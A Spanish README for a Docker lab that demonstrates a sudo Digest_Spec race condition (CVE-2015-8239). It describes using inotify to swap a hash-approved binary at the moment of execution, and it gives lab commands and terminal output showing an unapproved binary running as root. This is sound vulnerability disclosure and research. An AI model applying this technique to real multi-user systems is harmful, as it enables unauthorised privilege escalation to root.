
Prueba de concepto basada en Docker que demuestra una explotación de condición de carrera TOCTOU contra la función Digest_Spec de sudo (CVE-2015-8239) utilizando inotify para ataques de reemplazo de archivos entre usuarios.
Digest_Spec TOCTOU POCAlyssa Milburn (https://twitter.com/noopwafel) descubrió un error de condición de carrera TOCTOU en sudo cuando se utiliza la configuración Digest_Spec. La configuración Digest_Spec se puede utilizar para permitir que un usuario ejecute sudo en un binario si y solo si su hash coincide con un valor prescrito. Consulte man sudoers y busque Digest_Spec para obtener más información sobre esta función, y consulte http://noopwafel.net/notes/2015/sudo-digest-race-condition.html para obtener más información sobre el error descubierto por Alyssa. El problema fue asignado como CVE-2015-8239.
El problema fue mitigado añadiendo documentación a man sudoers advirtiendo sobre la posibilidad de una condición de carrera, y añadiendo algo de magia fexecve() a sudo para intentar evitar que ciertos tipos de modificaciones de archivos sean efectivas.
Curiosamente, cve-assign dijo lo siguiente en https://seclists.org/oss-sec/2015/q4/256:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
Este POC demuestra que esta afirmación no es necesariamente cierta, siempre y cuando el usuario "escritor" pueda ejecutar código persistente en el sistema. El usuario "escritor" puede aprovechar inotify para detectar cuándo el usuario "ejecutor" está ejecutando el archivo usando sudo y puede intentar un ataque de reemplazo de archivo en ese momento.
Este proyecto crea una imagen Docker que:
/opt/sudoable que es escribible por el usuario editor, y es ejecutable mediante sudo por el usuario executor si y solo si su hash SHA256 coincide con un valor particular/opt/hello (El archivo "bueno" cuyo hash SHA256 está integrado en sudoers) y un archivo en /opt/goodbye (Un archivo "malo")/opt como escribible solo por el usuario root (Por lo tanto, el usuario editor puede reemplazar el contenido de /opt/sudoable pero no puede realizar una operación de intercambio de archivos a nivel de sistema de archivos)/home/editor/exploit/exploit.pyCuando /home/editor/exploit/exploit.py es ejecutado por el usuario editor, se utiliza inotify para monitorear eventos del sistema de archivos. Cuando se accede al archivo /opt/sudoable, se reemplaza con /opt/goodbye. Después de que el archivo se cierra, se reemplaza con /opt/hello para dejar las cosas en un estado "normal".
Asumiendo que esta carrera tiene éxito cuando el usuario executor ejecuta sudo /opt/sudoable (Lo cual ocurre la mayoría de las veces en mi máquina), el usuario editor puede hacer que el usuario executor ejecute un binario malicioso como root independientemente de que el hash SHA256 esté especificado como el valor Digest_Spec dentro de sudoers.
Ejecute make all
./instantiate.shtmux new-session y divida el panel (Ctrl+b luego "; use Ctrl+b luego Arriba/Abajo para cambiar de panel)sudo -u executor sudo /opt/sudoable y observe la salida Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable y observe que se le solicita una contraseña (es decir, la operación sudo falló debido a una discrepancia de digest)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable varias veces y observe la salida ocasional de Panel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
Panel inferior:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
Panel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
Panel inferior:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
Panel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
¿En qué casos es realmente efectiva la mitigación de fexecve()? Si un usuario tiene acceso de escritura al archivo sudoable pero no al directorio en el que se encuentra, puede modificar el archivo que abre sudo. Si el usuario tiene acceso de escritura al directorio pero no al archivo, puede mover el archivo a un lado y recrearlo de manera que pueda modificarlo, y volvemos al punto de partida.
Gracias a Luke (https://twitter.com/lukejahnke) por hablarme sobre la configuración Digest_Spec, intercambiar ideas y pensar en usar inotify para un POC limpio entre usuarios.
Goodbye uid=0